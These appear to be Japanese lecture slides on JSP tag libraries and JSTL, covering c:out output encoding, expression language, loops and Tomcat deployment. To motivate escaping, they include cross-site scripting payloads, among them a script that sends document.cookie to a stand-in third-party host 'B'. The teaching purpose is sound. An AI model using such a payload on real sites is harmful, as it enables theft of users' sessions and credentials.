タグライブラリ ソフトウェア特論 第6回
ここでの内容 タグライブラリの使い方、特にJSTLについて学ぶ。
タグライブラリ JSPの中で定義できる独自のタグ。 スクリプトレットを減らすことができる。 タグライブラリの構成 タグの処理を記述する Java のプログラム タグに関する情報を持つ Tag Library Descriptor (TLD)
さまざまなタグライブラリ 既製のタグライブラリもいくつかある。 JavaServer Pages Standard Tag Library (JSTL) 値の設定・制御構造 データベースへのアクセス、国際化、XMLの解析など Jakarta Taglibs Struts のタグライブラリ
タグのエンコード (1) フォームから入力した文字列を出力するサンプル c:out を使うと、“<” や “>” や “&” といった文字をエンコードする。 <p> c:out を使わない場合: <%= request.getParameter("title") %> </p> c:out を使った場合: <c:out value="${param.title}" />
タグのエンコード (2) 入力文字列 c:out を使った場合 c:out を使わない場合 <m>wakhok</m> c:out を使った場合 c:out を使わない場合 wakhok
クロスサイトスクリプティング (1) フォームから入力されたタグがそのまま出力される ↓ 入力された文字が JavaScript だった場合
<script>alert(“アホですか？”);</script> クロスサイトスクリプティング (2) 実例 <script>alert(“アホですか？”);</script> ↓ 警告画面が表示されてしまう
クロスサイトスクリプティング (3) cookie が盗まれる例 (1) ショッピングサイト “WAK” とその利用者が狙われる例 “WAK” の商品検索システムは、クロスサイトスクリプティングを引き起こしてしまうようになっている。 “WAK” では、商品を購入するときに使うユーザ名とパスワードを cookie に保存している。
クロスサイトスクリプティング (4) cookie が盗まれる例 (2) ここで、怪しいサイト“A”が登場する。 “A” には、“WAK” へのリンクが貼られている。 その内容は WAK の Cookie を取得して、その Cookie を別のサイト “B” の getCookie.jsp に渡す JavaScript
クロスサイトスクリプティング (5) cookie が盗まれる例 (3) リンクの内容 <a href=http://wak/search.jsp?p=(JavaScriptのタグ) Ｈなサイト </a>
クロスサイトスクリプティング (6) cookie が盗まれる例 (4) JavaScript の内容 <script> s = document.cookie; location.href = “http://B/getCookie.jsp?c=“+str; </script>
クロスサイトスクリプティング (7) cookie が盗まれる例 (5) “WAK” の利用者が サイト “A” へのリンクをうっかり押してしまった場合 リンク先の “WAK” のサイトが表示されるとき、同時に JavaScript を実行されて Cookie を盗まれる ユーザ名とパスワードを盗られたので、あとはやられ放題。
タグのエンコード (3) タグの入力を許可してしまうと、クロスサイトスクリプティングを引き起こすことが考えられる。 タグの入力を許可しない方がよい。 こうした処理をタグライブラリを使わずに書くには、スクリプトレットを使う必要がある。
タグライブラリを使う 利用するタグライブラリと、その接頭辞を指定 <%@ taglib prefix="c" uri="http://java.sun.com/jstl/core" %>
式言語 (Expression Language) ${var} 変数 var ${param.title} フォームから入力されたデータ "title" の値 ${book.author} book という Bean の author プロパティ
制御構造の例 <ul> <c:forEach var="book" items="${bookList.iterator}" > <li> <c:out value="${book.title}" /> / <c:out value="${book.author}" /> </li> </c:forEach> </ul>
Tomcat への配置 JSTL の配布パッケージの lib フォルダに含まれている次の４つのjarファイルを WEB-INF/lib フォルダにコピーする。 jstl.jar standard.jar jaxen-full.jar saxpath.jar